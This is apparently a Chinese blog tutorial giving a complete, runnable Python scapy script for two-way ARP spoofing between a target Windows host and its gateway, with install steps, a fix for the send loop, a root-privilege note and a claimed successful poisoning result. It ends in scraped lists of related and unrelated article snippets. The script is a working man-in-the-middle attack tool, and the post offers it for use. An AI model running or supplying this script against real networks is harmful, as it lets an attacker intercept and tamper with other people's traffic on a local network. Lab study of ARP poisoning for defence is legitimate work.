1.系统环境:Ubuntu 16.04

Python版本:2.7

2.攻击机器:Ubuntu(192.16.0.14)

目标机器:Windows 7(192.168.0.9)

网关:(192.168.0.1)

3.首先使用下面命令安装scapy模块

pip install scapy

  

4.关于ARP欺骗的原理以及ARP包的格式请自行百度,在此不作过多描述

from scapy.all import *
import argparse
import sys
def arp_attack(interface,tip,gip):
    local_mac=get_if_hwaddr(interface) #get_if_hwaddr是获取指定网卡的MAC地址
    tmac=getmacbyip(tip) #getmacbyip是获取指定ip的MAC地址
    gmac=getmacbyip(gip)
    tpacket=Ether(src=local_mac,dst=tmac)/ARP(hwsrc=local_mac,psrc=gip,hwdst=tmac,pdst=tip,op=2) #在ARP包前面加上以太网头部,src是源MAC,dst是目标MAC,ARP中的参数与ARP包格式有关,请自行百度
    gpacket=Ether(src=local_mac,dst=gmac)/ARP(hwsrc=local_mac,psrc=tip,hwdst=gmac,pdst=gip,op=2)
    while 1:      sendp(tpacket,iface=interface,inter=1) #sendp是在第二层发送数据包,inter参数代表每间隔inter指定的秒数发送一次数据包
      print("sending: %s(MAC:%s) -> %s"%(gip,local_mac,tip))
      sendp(gpacket,iface=interface,inter=1)
      print("sending: %s(MAC:%s) -> %s"%(tip,local_mac,gip))
if __name__ == '__main__':
    parser=argparse.ArgumentParser()
    parser.add_argument('-i',help='select interface')
    parser.add_argument('-t',help='target ip')
    parser.add_argument('-g',help='gateway ip')
    args=parser.parse_args()
    if args.i and args.t and args.g:
        print("Use Ctrl+z to stop")
        arp_attack(args.i,args.t,args.g)
    else:
        print("Please enter the correct parameters")

关于下面这一块的代码一开始我是写成图中所示的(当时只截了图,没有复制代码,抱歉):

while 1:
      sendp(tpacket,iface=interface,inter=1) #sendp是在第二层发送数据包,inter参数代表每间隔inter指定的秒数发送一次数据包
      print("sending: %s(MAC:%s) -> %s"%(gip,local_mac,tip))
      sendp(gpacket,iface=interface,inter=1)
      print("sending: %s(MAC:%s) -> %s"%(tip,local_mac,gip))

loop参数代表循环发送数据包,但是脚本会一直停止在第一个数据包的发送处,不会发送第二个数据包,达不到双向欺骗的目的,所以作了修改。

说明:脚本要在root权限下运行,如果是普通用户权限,你会发现你的getmacbyip只能获取本地的MAC,而不能获取网关与目标主机的MAC,它会出现如下错误信息:


5.最后的结果如下图所示:

你可以看到目标主机中的网关的MAC地址已经是我的Ubuntu主机的MAC地址了。

6. 参考网址(转载自他人文章)

https://www.cnblogs.com/reddusty/p/4946118.html

scapy使用中文文档:https://github.com/Larryxi/Scapy_zh-cn/blob/master/README.md

编写Python脚本进行ARP欺骗的更多相关文章

  1. arp协议分析&python编程实现arp欺骗抓图片

    arp协议分析&python编程实现arp欺骗抓图片 序 学校tcp/ip协议分析课程老师布置的任务,要求分析一种网络协议并且研究安全问题并编程实现,于是我选择了研究arp协议,并且利用pyt ...

  2. vim—自动缩进(编写Python脚本)

    大神推荐使用vim编写Python脚本,学而时积之,不亦乐乎! 使用vim编写Python脚本的时候不能正常缩进,需要修改vimrc文件 Ubuntu系统下vimrc文件的位置: $ cd /etc/ ...

  3. 编写Python脚本把sqlAlchemy对象转换成dict的教程

    编写Python脚本把sqlAlchemy对象转换成dict的教程 在用sqlAlchemy写web应用的时候,经常会用json进行通信,跟json最接近的对象就是dict,有时候操作dict也会比操 ...

  4. Python黑客编程ARP欺骗

    Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...

  5. 变量-数据类型-对象-如何编写python脚本

    标识符的命名规则变量是标识符的例子. 标识符 是用来标识 某样东西 的名字.在命名标识符的时候,你要遵循这些规则:标识符的第一个字符必须是字母表中的字母(大写或小写)或者一个下划线(‘ _ ’).标识 ...

  6. window下编写python脚本在linux下运行出错 usr/bin/python^M: bad interpreter: No such file or directory

    今天在windows下使用notepad++写了个python脚本,传到linux服务器执行后提示:-bash: ./logger.py: usr/bin/python^M: bad interpre ...

  7. python arp欺骗

    使用python构造一个arp欺骗脚本 import os import sys from scapy.all import * import optparse def main(): usage=& ...

  8. Python+Appium自动化测试(3)-编写自动化脚本

    之前一篇博客已经讲述怎样手动使用appium-desktop启动测试机上的app,但我们实际跑自动化脚本的过程中,是需要用脚本调用appium启动app的,接下来就尝试写Python脚本启动app并登 ...

  9. python脚本后台运行

    问题描述: 环境: CentOS6.4 一个用python写的监控脚本test1.py,用while True方式一直运行,在ssh远程(使用putty终端)时通过以下命令启动脚本: python t ...

随机推荐

  1. python对象的不同参数集合

    如下,我们已经有了一个从Contact类继承过来的Friend类 class ContactList(list): def search(self, name): '''Return all cont ...

  2. python对象继承

    继承允许我们在两个或者更多的类之间创建一种“是一个”的关系,这种关系把共同的细节抽象到一个超类里. 从技术上讲,每一个我们创建的类都使用了继承,所有的python类都是一个叫做object的特殊类的子 ...

  3. Java基础方法整理

    方法 9.1方法概述 方法就是用来完成解决某件事情或实现某个功能的办法 可以通过在程序代码中引用方法名称和所需的参数,实现在该程序中执行(或称调用)该方法.方法,一般都有一个返回值,用来作为事情的处理 ...

  4. 缓存淘汰策略之LRU

    LRU(Least recently used,最近最少使用)算法根据数据的历史访问记录来进行淘汰数据,其核心思想是“如果数据最近被访问过,那么将来被访问的几率也更高”. 1. 新数据插入到链表头部: ...

  5. TF报错解决

    一.import tensorflow #h5py/__init__.py:34: FutureWarning: Conversion of the second argument of issubd ...

  6. Linux记录-jstack采集namenode堆栈信息

    #!/bin/bash #以hdfs用户执行jstack每分钟采集一次namenode heapstack日志 #mkdir -p /tmp/jstack export JAVA_HOME=/app/ ...

  7. ruby读取exce文件,使用roo---Gem

    module SEquipsHelper #设备台账,从excel文件读取信息 require 'roo' #require 'roo-xls' #读取excel文件 # SEquipsHelper. ...

  8. Part-Seven

    1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12.

  9. 细说JDK日志组件

    1. 概述 JDK自带的日志组件在包java.util.logging下,如图: 2. 架构如上图所示,JDK日志组件核心元素包括:Logger,Handler,Filter和Formatter,他们 ...

  10. HTTP 错误 500.21 - Internal Server Error 处理程序“WebServiceHandlerFactory-Integrated”在其模块列表中有一个错误模块“ManagedPipelineHandler”

    解决方案是 解决方案:只需要重新安装一下就可以了.在Frameworv4.0的目录中安装的程序以管理员权限重新运行一下就可以了. %windir%\Microsoft.NET\Framework\v4 ...